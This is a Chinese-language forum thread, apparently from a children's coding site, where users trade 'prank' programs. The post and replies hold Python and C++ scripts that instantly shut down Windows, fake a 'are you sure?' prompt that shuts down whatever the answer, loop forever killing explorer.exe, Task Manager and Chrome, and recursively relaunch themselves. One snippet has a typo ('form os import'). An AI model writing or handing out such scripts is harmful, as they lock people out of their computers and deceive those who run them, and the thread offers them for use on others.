用户:znx查看:11 回复:16 评论:11 创建时间:2020-03-05T08:22:40
【作品展示】

【作品介绍】
把代码放在机器上运行(浏览不行),嘿嘿嘿。。。
【作品源代码】
#今天来个好玩的。。。
import os
os.system ("shutdown -s -t 0")
【提示】
部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:
https://python.codemao.cn
cool-creeper#关机病毒改版
form os import system
question = input("你确定要运行吗?1.确定2.不确定")
if question == 1:
system("shutdown -s -t 0")
elif question == 2:
print("不存在的!")
system("shutdown -s -t 0")
else:
print("你说啥?我听不懂!\n")
print("哦,你说要运行啊!")
system("shutdown -s -t 0")
#哈哈哈哈……坑吗?点赞1
评论
/*
比关机更坑的
*/
#include<bits/stdc++.h>
using namespace std;
int main()
{
while(1)
{
system("taskkill /f /im explorer.exe >nul 2>nul");
system("taskkill /f /im taskmgr.exe >nul 2>nul");
}
}
点赞0
评论
Python版
#比关机更坑的
from os import system
while True:
system("taskkill /f /im explorer.exe >nul 2>nul")
system("taskkill /f /im taskmgr.exe >nul 2>nul")
system("taskkill /f /im chrome.exe >nul 2>nul")
点赞0
评论
from os import system
while True:
system("python C:\\file.py")
保存为 C:\file.py
点赞0
评论